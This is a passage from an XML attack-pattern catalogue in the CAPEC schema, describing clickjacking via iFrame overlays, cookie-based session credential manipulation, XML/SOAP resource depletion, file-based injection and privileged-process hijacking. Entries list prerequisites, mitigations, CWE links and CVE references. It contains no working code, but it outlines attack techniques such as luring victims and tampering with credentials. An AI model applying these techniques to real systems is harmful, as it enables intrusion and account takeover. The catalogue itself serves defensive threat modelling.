												misdirection or coercion to trick the victim to
												loading and interacting with the iFrame overlay page
												in a way that increases the chances that the victim
												will visit the malicious page.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Trick the victim to the malicious site by
												sending the victim an e-mail with a URL to the
												site.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Trick the victim to the malicious site by
												manipulating URLs on a site trusted by the
												victim.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Trick the victim to the malicious site
												through a cross-site scripting attack.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The victim loads the iFrame
												overlay page.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Preventative">
												<Security_Control_Description> Disable overlay
												functionality in the browser. This can have
												obvious impact on the usability of the browser
												with some sites and web applications.
												</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Title>Trick victim into interacting with the
											iFrame overlay page in the desired
											manner</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker tricks the victim into clicking on
												the areas of the UI which contain the hidden action
												controls and thereby interacts with the target
												system maliciously with the victim's level of
												privilege.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Hide action controls over very commonly used
												functionality.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Hide action controls over very
												psychologically tempting content.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The victim is communicating with the target application via a web based UI
						and not a thick client. The victim's browser security policies allow
						iFrames. The victim uses a modern browser that supports UI elements like
						clickable buttons (i.e. not using an old text only browser). The victim has
						an active session with the target system. The target system's interaction
						window is open in the victim's browser and supports the ability for
						initiating sensitive actions on behalf of the user in the target system.
					</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>Medium</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Spoofing</Method_of_Attack>
				<Method_of_Attack>Social Engineering</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>The following example is a real-world iFrame ovelay attack [2]. In
							this attack, the malicious page embeds Twitter.com on a transparent
							IFRAME. The status-message field is initialized with the URL of the
							malicious page itself. To provoke the click, which is necessary to
							publish the entry, the malicious page displays a button labeled “Don’t
							Click.” This button is aligned with the invisible “Update” button of
							Twitter. Once the user performs the click, the status message (i.e., a
							link to the malicious page itself) is posted to his/ her Twitter
							profile.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>High</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>Crafting the proper malicious site and luring the victim to this site
							is not a trivial task.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>No special resource required.</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Configuration: Disable iFrames in the Web browser.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Operation: When maintaining an authenticated session with a privileged
						target system, do not use the same browser to navigate to unfamiliar sites
						to perform other activities. Finish working with the target system and
						logout first before proceeding to other tasks.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Operation: If using the Firefox browser, use the NoScript plug-in that
						will help forbid iFrames. </Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Accountability</Consequence_Scope>
					<Consequence_Scope>Authentication</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Scope>Non-Repudiation</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>103<!--Clickjacking-->
					</Relationship_Target_ID>
					<Relationship_Description>
						<Text>http://capec.mitre.org/data/definitions/103.html</Text>
					</Relationship_Description>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
					<Architectural_Paradigm>n-Tier</Architectural_Paradigm>
					<Architectural_Paradigm>SOA</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>Michal Zalewski</Reference_Author>
					<Reference_Title>Browser Security Handbook </Reference_Title>
					<Reference_Link>http://code.google.com/p/browsersec/wiki/Main</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>M. Mahemoff</Reference_Author>
					<Reference_Title>Explaining the “Don’t Click” Clickjacking
						Tweetbomb</Reference_Title>
					<Reference_Link>http://softwareas.com/explaining-the-dont-click-clickjacking-tweetbomb</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Modifications>
					<Modification>
						<Modifier>Min Xu</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Comment>Pre-review - 0.1</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Romain Gaucher</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Comment>Performed a review of content and added additional
							content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="226" Name="Session Credential Falsification through Manipulation"
			Pattern_Abstraction="Detailed" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker manipulates an existing credential in order to gain access to
						a target application. Session credentials allow users to identify themselves
						to a service after an initial authentication without needing to resend the
						authentication information (usually a username and password) with every
						message. An attacker may be able to manipulate a credential sniffed from an
						existing connection in order to gain access to a target server. For example,
						a credential in the form of a web cookie might have a field that indicates
						the access rights of a user. By manually tweaking this cookie, a user might
						be able to increase their access rights to the server. Alternately an
						attacker may be able to manipulate an existing credential to appear as a
						different user. This attack differs from falsification through prediction in
						that the user bases their modified credentials off existing credentials
						instead of using patterns detected in prior credentials to create a new
						credential that is accepted because it fits the pattern. As a result, an
						attacker may be able to impersonate other users or elevate their permissions
						to a targeted service.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The targeted application must use session credentials to identify
						legitimate users.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>An attacker will need tools to sniff existing credentials (possibly their own)
					in order to retreive a base credential for modification. They will need to
					understand how the components of the credential affect server behavior and how
					to manipulate this behavior by changing the credential. Finally, they will need
					tools to allow them to craft and transmit a modified credential.</Text>
			</Resources_Required>
			<Related_Vulnerabilities>
				<Related_Vulnerability>
					<Vulnerability_ID>CVE-2005-2252</Vulnerability_ID>
					<Vulnerability_Description>
						<Text>PhpAuction 2.5 allows remote attackers to bypass authentication and
							gain privileges as another user by setting the PHPAUCTION_RM_ID cookie
							to the user ID.</Text>
					</Vulnerability_Description>
				</Related_Vulnerability>
			</Related_Vulnerabilities>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>196<!--Session Credential Falsification through Forging--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="227" Name="Denial of Service through Resource Depletion"
			Pattern_Abstraction="Standard" Pattern_Completeness="Hook" Status="Draft">
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>770<!--Allocation of Resources Without Limits or Throttling--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>119<!--Resource Depletion--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="228" Name="Resource Depletion through DTD Injection in a SOAP Message"
			Pattern_Abstraction="Detailed" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker utilizes a SOAP message to send the target a crafted DTD which
						consumes excessive resources when parsed on the end system resulting in
						resource depletion. DTDs are used to describe how XML documents are
						processed. Certain malformed DTDs (for example, those with excessive entity
						expansion as described in CAPEC 197) can cause the XML parsers that process
						the DTDs to consume excessive resources resulting in resource depletion. In
						this attack, the XML parser is part of a service that processes SOAP
						messages.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The target must be running a SOAP client that contains vulnerabilities
						making it susceptible to malformed DTDs.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>The attacker must be able to craft custom DTDs and attach them to SOAP
					messages.</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Design: Sanitize incoming DTDs to prevent excessive expansion or other
						actions that could result in resource depletion.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Disallow the inclusion of DTDs in SOAP messages.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>770<!--Allocation of Resources Without Limits or Throttling--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>400<!--Uncontrolled Resource Consumption ('Resource Exhaustion')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>100<!--Technology-Specific Input Validation Problems--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>130<!--Resource Depletion through Allocation--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>197<!--XEE (XML Entity Expansion)--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Link>//www.internetnews.com/dev-news/article.php/3289191</Reference_Link>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="229" Name="XML Attribute Blowup" Pattern_Completeness="Hook"
			Status="Draft">
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>770<!--Allocation of Resources Without Limits or Throttling--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>82<!--Violating Implicit Assumptions Regarding XML Content (aka XML Denial of Service (XDoS))--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>374<!--WASC Threat Classification 2.0 - WASC-41 - XML Attribute Blowup--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="23" Name="File System Function Injection, Content Based"
			Pattern_Abstraction="Standard" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attack of this type exploits the host's trust in executing remote
						content including binary files. The files are poisoned with a malicious
						payload (targeting the file systems accessible by the target software) by
						the attacker and may be passed through standard channels such as via email,
						and standard web content like PDF and multimedia files. The attacker
						exploits known vulnerabilities or handling routines in the target processes.
						Vulnerabilities of this type have been found in a wide variety of commercial
						applications from Microsoft Office to Adobe Acrobat and Apple Safari web
						browser. When the attacker knows the standard handling routines and can
						identify vulnerabilities and entry points they can be exploited by otherwise
						seemingly normal content. Once the attack is executed, the attacker's
						program can access relative directories such as C:\Program Files or other
						standard system directories to launch further attacks. In a worst case
						scenario, these programs are combined with other propagation logic and work
						as a virus.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The target software must consume files.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The attacker must have access to modify files that the target software
						will consume.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Very High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
				<Method_of_Attack>API Abuse</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>PHP is a very popular web server. When PHP is used with global
							variables, a vulnerability may be opened that affects the file system. A
							standard HTML form that allows for remote users to upload files, may
							also place those files in a public directory where the attacker can
							directly access and execute them through a browser. This vulnerability
							allows remote attackers to execute arbitrary code on the system, and can
							result in the attacker being able to erase intrusion evidence from
							system and application logs.</Text>
						<Text>Reference - http://www.owasp.org/index.php/File_System</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required/>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Design: Enforce principle of least privilege</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Design: Validate all input for content including files. Ensure that if
						files and remote content must be accepted that once accepted, they are
						placed in a sandbox type location so that lower assurance clients cannot
						write up to higher assurance processes (like Web server processes for
						example)</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Design: Execute programs with constrained privileges, so parent process
						does not open up further vulnerabilities. Ensure that all directories,
						temporary directories and files, and memory are executing with limited
						privileges to protect against remote execution.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Design: Proxy communication to host, so that communications are terminated
						at the proxy, sanitizing the requests before forwarding to server
						host.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Virus scanning on host</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Host integrity monitoring for critical files, directories,
						and processes. The goal of host integrity monitoring is to be aware when a
						security issue has occurred so that incident response and other forensic
						activities can begin.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Run Arbitrary Code-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>Payload delivered through standard communication protocols.</Text>
			</Injection_Vector>
			<Payload>
				<Text>Command(s) executed directly on host filesystem</Text>
			</Payload>
			<Activation_Zone>
				<Text>Client machine and client network</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>Enables attacker to execute server side code with any commands that the
						program owner has privileges to.</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>77<!--Improper Neutralization of Special Elements used in a Command ('Command Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>23<!--Relative Path Traversal--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>22<!--Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>713<!--OWASP Top Ten 2007 Category A2 - Injection Flaws--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>715<!--OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>241<!--Code Injection--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>242<!--Script Injection--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>165<!--File Manipulation--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>High</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>G. Hoglund</Reference_Author>
					<Reference_Author>G. McGraw</Reference_Author>
					<Reference_Title>Exploiting Software: How to Break Code</Reference_Title>
					<Reference_Publisher>Addison-Wesley</Reference_Publisher>
					<Reference_PubDate>February 2004</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code.
							Addison-Wesley, February 2004.</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-01-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Gunnar Peterson</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-28</Modification_Date>
						<Modification_Comment>Fleshed out content to CAPEC schema from the original
							descriptions in "Exploiting Software"</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-09</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in Attack
							Prerequisites</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-13</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="230" Name="Recursive Payloads Sent to XML Parsers"
			Pattern_Abstraction="Standard" Pattern_Completeness="Hook" Status="Draft">
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>99<!--XML Parser Attack--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="231" Name="Oversized Payloads Sent to XML Parsers"
			Pattern_Abstraction="Standard" Pattern_Completeness="Hook" Status="Draft">
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>99<!--XML Parser Attack--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="234" Name="Hijacking a privileged process"
			Pattern_Abstraction="Standard" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker gains control of a process that is assigned elevated
						privileges in order to execute arbitrary code with those privileges. Some
						processes are assigned elevated privileges on an operating system, usually
						through association with a particular user, group, or role. If an attacker
						can hijack this process, they will be able to assume its level of prevelege
						in order to execute their own code. Processes can be hijacked through
						inproper handling of user input (for example, a buffer overflow or certain
						types of injection attacks) or by utilizing system utilities that support
						process control that have been inadequately secured.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The targeted process or operating system must contain a bug that allows
						attackers to hijack the targeted process.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>No special resources are required.</Text>
			</Resources_Required>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>732<!--Incorrect Permission Assignment for Critical Resource--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>648<!--Incorrect Use of Privileged APIs--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Vulnerabilities>
				<Related_Vulnerability>
					<Vulnerability_ID>CVE-2008-1363</Vulnerability_ID>
					<Vulnerability_Description>
						<Text>VMware Workstation 6.0.x before 6.0.3 and 5.5.x before 5.5.6, VMware
							Player 2.0.x before 2.0.3 and 1.0.x before 1.0.6, VMware ACE 2.0.x
							before 2.0.1 and 1.0.x before 1.0.5, and VMware Server 1.0.x before
							1.0.5 on Windows allow local users to gain privileges via an unspecified
							manipulation of a config.ini file located in an Application Data folder,
							which can be used for "hijacking the VMX process."</Text>
					</Vulnerability_Description>
				</Related_Vulnerability>
				<Related_Vulnerability>
					<Vulnerability_ID>CVE-2007-6705</Vulnerability_ID>
					<Vulnerability_Description>
						<Text>The WebSphere MQ XA 5.3 before FP13 and 6.0.x before 6.0.2.1 client
							for Windows, when running in an MTS or a COM+ environment, grants the
							PROCESS_DUP_HANDLE privilege to the Everyone group upon connection to a
							queue manager, which allows local users to duplicate an arbitrary handle
							and possibly hijack an arbitrary process.</Text>
					</Vulnerability_Description>
				</Related_Vulnerability>
			</Related_Vulnerabilities>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>232<!--Exploitation of Privilege/Trust--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="235" Name="Implementing a callback to system routine (old AWT Queue)"
			Pattern_Abstraction="Detailed" Pattern_Completeness="Hook" Status="Draft">
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>30<!--Hijacking a Privileged Thread of Execution--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="236" Name="Catching exception throw/signal from privileged block"
			Pattern_Abstraction="Detailed" Pattern_Completeness="Hook" Status="Draft">
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>30<!--Hijacking a Privileged Thread of Execution--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="237"
			Name="Calling Signed Code From Another Language Within A Sandbox Allow This "
			Pattern_Abstraction="Standard" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>The attacker may submit a malicious signed code from another language to
						obtain access to privileges that were not intentionally exposed by the
